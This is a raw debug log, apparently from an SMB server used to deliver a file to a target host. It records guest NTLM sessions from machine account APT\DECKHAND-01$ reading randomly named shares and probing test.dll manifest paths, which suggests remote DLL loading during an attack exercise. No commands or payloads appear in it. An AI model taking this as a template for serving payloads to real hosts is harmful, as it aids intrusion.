_raw: D, [2025-11-01T18:44:51.757536 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.755730 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.753744 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.751370 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.751317 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.749053 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.748995 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.746614 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.746546 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.744149 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.744092 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.741757 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.741700 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.739043 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.738976 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.731741 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.731655 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.707260 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.707205 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.705240 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.703299 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.700787 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.700730 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.698329 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.698276 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.695941 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.695882 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.693475 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.693413 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.690544 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.690426 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.676695 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.676631 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.673188 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.673129 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.670876 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.668541 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.665655 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.665597 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.663165 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.663109 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.660641 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.660568 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.657456 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.657382 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.654611 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.654532 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.651488 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.651394 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.642365 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.642269 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.635011 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.634945 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.629658 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.629596 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.626742 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.626685 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: I, [2025-11-01T18:44:51.625150 #975440]  INFO -- : Sending an error packet for SMB2 command: CREATE, status: 0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND)


_raw: W, [2025-11-01T18:44:51.622531 #975440]  WARN -- : Requested path does not exist: /test.dll.2.Manifest


_raw: D, [2025-11-01T18:44:51.621519 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.621457 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.619227 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.617294 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.615389 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.613511 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.611158 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.611091 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.608653 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.608575 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.606283 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.606222 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.603784 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.603717 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.601362 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.601304 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.598925 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.598857 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.592611 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.592535 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.590019 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.589965 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: I, [2025-11-01T18:44:51.588488 #975440]  INFO -- : Sending an error packet for SMB2 command: CREATE, status: 0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND)


_raw: W, [2025-11-01T18:44:51.585856 #975440]  WARN -- : Requested path does not exist: /test.dll.124.Manifest


_raw: D, [2025-11-01T18:44:51.584515 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.584453 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.581981 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.579782 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.577686 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.575518 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.573053 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.572997 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.570150 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.570091 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.567553 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.567492 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.564928 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.564864 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.562154 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.562095 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.559607 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.559518 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.552799 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.552736 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.549680 #975440] DEBUG -- : Received CLOSE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.549622 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: I, [2025-11-01T18:44:51.547606 #975440]  INFO -- : Sending an error packet for SMB2 command: CREATE, status: 0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND)


_raw: W, [2025-11-01T18:44:51.544802 #975440]  WARN -- : Requested path does not exist: /test.dll.123.Manifest


_raw: D, [2025-11-01T18:44:51.543471 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.543408 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.540881 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.538410 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.535740 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.532446 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.529304 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.529238 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.526780 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.526726 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.524271 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.524214 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.521395 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.521326 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.517676 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.517602 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.514150 #975440] DEBUG -- : Received QUERY_INFO request for share: PvnC


_raw: D, [2025-11-01T18:44:51.514008 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.503923 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.503854 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: I, [2025-11-01T18:44:51.500818 #975440]  INFO -- : Sending an error packet for SMB2 command: CREATE, status: 0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND)


_raw: W, [2025-11-01T18:44:51.498173 #975440]  WARN -- : Requested path does not exist: /test.dll.manifest


_raw: D, [2025-11-01T18:44:51.497553 #975440] DEBUG -- : Received CREATE request for share: PvnC


_raw: D, [2025-11-01T18:44:51.497478 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.493260 #975440] DEBUG -- : Received TREE_CONNECT request for share: PvnC


_raw: D, [2025-11-01T18:44:51.493112 #975440] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.490456 #975440] DEBUG -- : Dispatching request to do_ioctl_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.486741 #975440] DEBUG -- : Received TREE_CONNECT request for share: IPC$


_raw: D, [2025-11-01T18:44:51.486471 #975440] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 2017410247, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:51.477050 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2017410247, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:51.473836 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: [11/01/2025 18:44:29] [w(0)] core: IOError: stream closed in another thread


_raw: I, [2025-11-01T18:44:05.828073 #975440]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T18:44:05.827954 #975440] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T18:44:05.796149 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1175395858, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:05.791561 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T18:44:05.573980 #975440]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T18:44:05.568878 #975440] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T18:44:05.541410 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3354329013, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:05.519114 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:05.331598 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:05.331492 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:05.327663 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:05.327567 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2485129096, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:05.322074 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:05.321966 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2485129096, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:05.318010 #975440] DEBUG -- : Received TREE_CONNECT request for share: orWQB


_raw: D, [2025-11-01T18:44:05.317363 #975440] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 2485129096, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:05.313920 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2485129096, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:05.309880 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:05.183611 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:05.183412 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:05.131135 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:05.079762 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:05.079676 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:05.075316 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:05.075219 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 400486950, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:05.071519 #975440] DEBUG -- : Received TREE_CONNECT request for share: orWQB


_raw: D, [2025-11-01T18:44:05.071300 #975440] DEBUG -- : Dispatching request to do_tree_connect_smb2 (session: #<Session id: 400486950, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:05.067734 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 400486950, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T18:44:05.062978 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:04.993252 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:04.993159 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:04.989141 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:04.904981 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:04.904887 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:04.901508 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:04.853120 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:04.853022 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:04.849778 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: E, [2025-11-01T18:44:04.801872 #975440] ERROR -- : Failed to parse the ASN1-encoded authentication request (too long)


_raw: D, [2025-11-01T18:44:04.801754 #975440] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: D, [2025-11-01T18:44:04.795510 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.795453 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.792741 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.792674 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.790430 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.790190 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.787759 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.787703 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.785135 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.785076 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.782666 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.782591 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.779504 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.779446 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.776076 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.775958 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.763609 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.763514 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.752313 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.752233 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.749007 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.748871 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.741315 #975440] DEBUG -- : Received CREATE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.741251 #975440] DEBUG -- : Dispatching request to do_create_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.737581 #975440] DEBUG -- : Received CLOSE request for share: orWQB


_raw: D, [2025-11-01T18:44:04.737521 #975440] DEBUG -- : Dispatching request to do_close_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.734942 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.734880 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.732475 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.732411 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.729931 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.729865 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.727313 #975440] DEBUG -- : Received READ request for share: orWQB


_raw: D, [2025-11-01T18:44:04.727217 #975440] DEBUG -- : Dispatching request to do_read_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.723013 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.722958 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


_raw: D, [2025-11-01T18:44:04.719913 #975440] DEBUG -- : Received QUERY_INFO request for share: orWQB


_raw: D, [2025-11-01T18:44:04.719832 #975440] DEBUG -- : Dispatching request to do_query_info_smb2 (session: #<Session id: 2129081638, user_id: :anonymous, state: :valid>)


